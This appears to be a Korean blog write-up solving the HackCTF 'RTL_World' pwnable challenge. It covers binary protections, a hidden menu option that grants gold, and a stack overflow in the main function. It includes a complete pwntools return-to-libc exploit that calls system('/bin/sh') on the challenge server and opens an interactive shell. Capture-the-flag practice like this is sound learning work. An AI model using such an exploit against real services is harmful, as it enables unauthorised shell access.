[HackCTF] RTL_World 풀이 (200p)
Wargame/HackCTF

[HackCTF] RTL_World 풀이 (200p)

풀이

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


먼저 rtl_world를 실행해보자.

아! 참고로 64bit linux로 실행하면 Segmentation fault가 뜬다.

호오.. System Armor와 Shell Sword를 갖고 있으면, Binary Boss를 죽일 수 있다고 한다.

대충 system 함수의 인자로 /bin/sh을 넘겨 문제를 푸는 방식인듯?

IDA로 슈도코드를 확인해보자. 중요한 부분만 적도록 하겠다.

 

Main Pseudocode

char buf; // [esp+14h] [ebp-8Ch]
case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;

Get_Money Pseudocode

else if ( v1 == 4 )
{
    puts("\nWow! you can find Hidden number!");
    puts("Life is Just a One Shot...");
    puts("Gambling...");
    printf("+ %d Gold\n", v2);
    gold += v2;
    result = printf("\nYour Gold is %d\n", gold);
}

이정도만 알면 문제 푸는데 지장이 없을 것이다.

먼저 Shell Sword와 System Armor를 얻기 위해서는 돈이 필요한데...

해당 보기에서 없는 번호인 4번을 선택하면, 무진장 돈을 많이준다(?)

Main 함수에서는 buf가 ebp-8ch에 위치해 있지만, 입력은 0x400만큼 받으므로, bof가 발생한다.

간단하게 0x8c + SFP + RET(system + dummy(4) + /bin/sh)로 페이로드를 작성해봤다.

  1 from pwn import *
  2
  3 context.log_level = 'debug'
  4
  5 p = remote('ctf.j0n9hyun.xyz', 3010)
  6
  7 p.sendlineafter('>>>', '2')
  8 p.sendlineafter('>>> ', '4')
  9
 10 p.sendlineafter('>>>', '4')
 11 p.recvuntil('Sword : ')
 12 shell = int(p.recv(10),16)
 13 p.sendlineafter('>>>', '3')
 14 p.recvuntil('Armor : ')
 15 system = int(p.recv(10),16)
 16
 17 p.sendlineafter('>>>','5')
 18
 19 payload = 'A'*144
 20 payload += p32(system)
 21 payload += 'B'*4
 22 payload += p32(shell)
 23
 24 p.sendlineafter('> ', payload)
 25 p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] poet 풀이 (200p)  (0) 2020.08.23
[HackCTF] g++ pwn 풀이 (200p)  (0) 2020.08.23
[HackCTF] Yes or no 풀이 (150p)  (0) 2020.08.23
[HackCTF] Pwnable 후기  (0) 2020.07.18
[HackCTF] BOF_PIE 풀이 (150p)  (0) 2020.07.16